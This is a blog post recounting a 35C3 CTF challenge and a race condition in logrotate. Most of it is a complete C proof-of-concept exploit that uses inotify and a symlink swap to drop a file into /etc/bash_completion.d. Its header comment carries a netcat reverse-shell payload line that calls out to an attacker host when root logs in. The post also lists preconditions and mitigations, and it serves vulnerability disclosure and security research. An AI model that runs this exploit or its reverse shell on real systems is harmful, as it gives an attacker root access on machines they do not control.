<a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=276&amp;2=comment&amp;3=comment" token="nAADQ8ixeyZnHqkBiPI1IjBgknj5s0ksfUzPqHOr45A"></drupal-render-placeholder> </section> Wed, 01 May 2019 11:04:35 +0000 Hoti 276 at https://tech.feedyourhead.at Abusing a race condition in logrotate to elevate privileges https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges <span class="field field--name-title field--type-string field--label-hidden">Abusing a race condition in logrotate to elevate privileges</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Together with a friend we took part of the Capture The Flag at the 35C3. One challenge was that one:</p> <blockquote> <p>Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. It also gives you a root shell.</p> </blockquote> <p>After searching at google I found out about a race condition in logrotate. In many <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=400198">bug reports</a> it was stated that a race condition exists <s>if logrotate gets executed with the "create" option</s>. A very detailed and brilliant analysis of the problem could be found at the blog of the <a href="https://blog.nsogroup.com/logrotate-zajebiste-500-points/">nsogroup</a>. Their exploit was very specific for the CTF challenge and it needs a suid binary that executes run-parts(cron). It worked for the CTF and I guess they earned their points. I was too slow and did not solve the challenge but I tried to finish it at home. My approach was to use inotify on /tmp/log/pwn.log to trigger the race. It seems that the logrotate bug could be exploited on live environments.</p> <h3>Requirements</h3> <p>In order to exploit this vulnerability for privilege escalation the following requirements must be met:</p> <ul> <li>logrotate has to be run as user root</li> <li>an unprivileged user has to be in control of the logdir-path</li> <li>the configfile should include any directive that creates new files.</li> </ul> <p>An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". This is how the logrotate-config looks like:</p> <pre> <code> /tmp/log/pwnme.log { daily rotate 12 missingok notifempty size 1k create } </code></pre> <p>My unprivileged user is totally in control of /tmp/log/:</p> <pre> <code> osboxes@osboxes:~$ ls -l /tmp/log total 2940 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.0 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.1 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.10 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.11 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.12 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.13 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.2 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.3 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.4 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.5 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.6 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.7 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.8 -rw-r--r-- 1 osboxes osboxes 200000 Jan 14 15:34 pwnme.log.9 osboxes@osboxes:~$ ls -ld /tmp/log drwxr-xr-x 2 osboxes osboxes 4096 Jan 14 15:34 /tmp/log </code></pre> <h3>Exploit</h3> <p>The vulnerability can be triggerd by replacing /tmp/log by a symlink to /etc/bash_completition.d after /tmp/log/pwnme.log got renamed. I wrote the following <a href="https://github.com/whotwagner/logrotten">Exploit</a>:</p> <pre> <div class="geshifilter"><pre class="c geshifilter-c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like &quot;/etc/bash_completition.d/&quot;. * - This vulnerability was found during a challenge at the 35c3 CTF * ( https://ctftime.org/event/718 ) * - A detailed description and a PoC of this challenge was written by the * - nsogroup ( https://blog.nsogroup.com/logrotate-zajebiste-500-points/ ) * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - &quot;create&quot; option is set in the logrotate configuration. * This exploit might not work without * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo &quot;if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &amp;); fi&quot; &gt; payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten /tmp/log/pwnme.log payloadfile * * [ Known Problems ] * - It's hard to win the race inside a docker container * * [ Mitigation ] * - make sure that logpath is owned by root * - or use option &quot;nocreate&quot; * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */</span> &nbsp; <span style="color: #339933;">#include &lt;stdio.h&gt;</span> <span style="color: #339933;">#include &lt;stdlib.h&gt;</span> <span style="color: #339933;">#include &lt;errno.h&gt;</span> <span style="color: #339933;">#include &lt;sys/types.h&gt;</span> <span style="color: #339933;">#include &lt;sys/inotify.h&gt;</span> <span style="color: #339933;">#include &lt;unistd.h&gt;</span> <span style="color: #339933;">#include &lt;string.h&gt;</span> <span style="color: #339933;">#include &lt;alloca.h&gt;</span> <span style="color: #339933;">#include &lt;sys/stat.h&gt;</span> &nbsp; &nbsp; <span style="color: #339933;">#define EVENT_SIZE ( sizeof (struct inotify_event) )</span> <span style="color: #339933;">#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )</span> &nbsp; <span style="color: #808080; font-style: italic;">/* use TARGETDIR without &quot;/&quot; at the end */</span> <span style="color: #339933;">#define TARGETDIR &quot;/etc/bash_completion.d&quot;</span> &nbsp; <span style="color: #339933;">#define DEBUG 1</span> &nbsp; <span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">int</span> length<span style="color: #339933;">,</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> index <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span> <span style="color: #993333;">int</span> wd<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span>EVENT_BUF_LEN<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>payloadfile<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logfile<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>logpath2<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetpath<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>targetdir<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> ch<span style="color: #339933;">;</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>p<span style="color: #339933;">;</span> FILE <span style="color: #339933;">*</span>source<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>target<span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fprintf.html"><span style="color: #000066;">fprintf</span></a><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;usage: %s &lt;logfile&gt; &lt;payloadfile&gt; [targetdir]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; logfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> payloadfile <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j<span style="color: #339933;">=</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span>j <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> j<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; index <span style="color: #339933;">=</span> j<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> &nbsp; p <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>logfile<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp; logpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2 <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> targetdir <span style="color: #339933;">=</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> targetdir<span style="color: #339933;">=</span> TARGETDIR<span style="color: #339933;">;</span> targetpath <span style="color: #339933;">=</span> alloca<span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> targetpath<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>TARGETDIR<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcat.html"><span style="color: #000066;">strcat</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> index<span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> logfile<span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> logpath<span style="color: #009900;">&#91;</span>j<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcpy.html"><span style="color: #000066;">strcpy</span></a><span style="color: #009900;">&#40;</span>logpath2<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'2'</span><span style="color: #339933;">;</span> logpath2<span style="color: #009900;">&#91;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strlen.html"><span style="color: #000066;">strlen</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*creating the INOTIFY instance*/</span> fd <span style="color: #339933;">=</span> inotify_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> DEBUG <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logfile: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;logpath2: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetpath: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;targetdir: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>targetdir<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;p: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*checking for error*/</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> fd <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/perror.html"><span style="color: #000066;">perror</span></a><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;inotify_init&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; wd <span style="color: #339933;">=</span> inotify_add_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span>logpath<span style="color: #339933;">,</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> length <span style="color: #339933;">=</span> read<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> EVENT_BUF_LEN <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&lt;</span> length<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span>event <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> <span style="color: #993333;">struct</span> inotify_event <span style="color: #339933;">*</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>buffer<span style="color: #009900;">&#91;</span> i <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>len <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> event<span style="color: #339933;">-&gt;</span>mask <span style="color: #339933;">&amp;</span> IN_MOVED_FROM <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/strcmp.html"><span style="color: #000066;">strcmp</span></a><span style="color: #009900;">&#40;</span>event<span style="color: #339933;">-&gt;</span>name<span style="color: #339933;">,</span>p<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #808080; font-style: italic;">/* printf( &quot;Something is moved %s.\n&quot;, event-&gt;name ); */</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/rename.html"><span style="color: #000066;">rename</span></a><span style="color: #009900;">&#40;</span>logpath<span style="color: #339933;">,</span>logpath2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> symlink<span style="color: #009900;">&#40;</span>targetdir<span style="color: #339933;">,</span>logpath<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> sleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> source <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>payloadfile<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>source <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; target <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>target <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>ch <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fgetc.html"><span style="color: #000066;">fgetc</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> EOF<span style="color: #009900;">&#41;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fputc.html"><span style="color: #000066;">fputc</span></a><span style="color: #009900;">&#40;</span>ch<span style="color: #339933;">,</span> target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; chmod<span style="color: #009900;">&#40;</span>targetpath<span style="color: #339933;">,</span>S_IRUSR <span style="color: #339933;">|</span> S_IXUSR <span style="color: #339933;">|</span> S_IRGRP <span style="color: #339933;">|</span> S_IXGRP <span style="color: #339933;">|</span> S_IROTH <span style="color: #339933;">|</span> S_IXOTH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>source<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html"><span style="color: #000066;">fclose</span></a><span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> i <span style="color: #339933;">+=</span> EVENT_SIZE <span style="color: #339933;">+</span> event<span style="color: #339933;">-&gt;</span>len<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span> <span style="color: #808080; font-style: italic;">/*removing from the watch list.*/</span> inotify_rm_watch<span style="color: #009900;">&#40;</span> fd<span style="color: #339933;">,</span> wd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #808080; font-style: italic;">/*closing the INOTIFY instance*/</span> close<span style="color: #009900;">&#40;</span> fd <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span>EXIT_SUCCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></div></pre> <p>As soon as root logs in, the reverse shell gets executed with root privileges.</p> <p> <video controls="" height="360" width="480"><source src="/sites/default/files/DateiUploads/logrotate2.mp4" type="video/mp4" /></video> </p> <h3>Known Issues</h3> <p>I wasn't able to win the race inside a docker container or lvm-volume.</p> <p>&nbsp;</p> <p><b>Update:</b> More details about this problem can be found at <a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition</a></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jan 14 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a 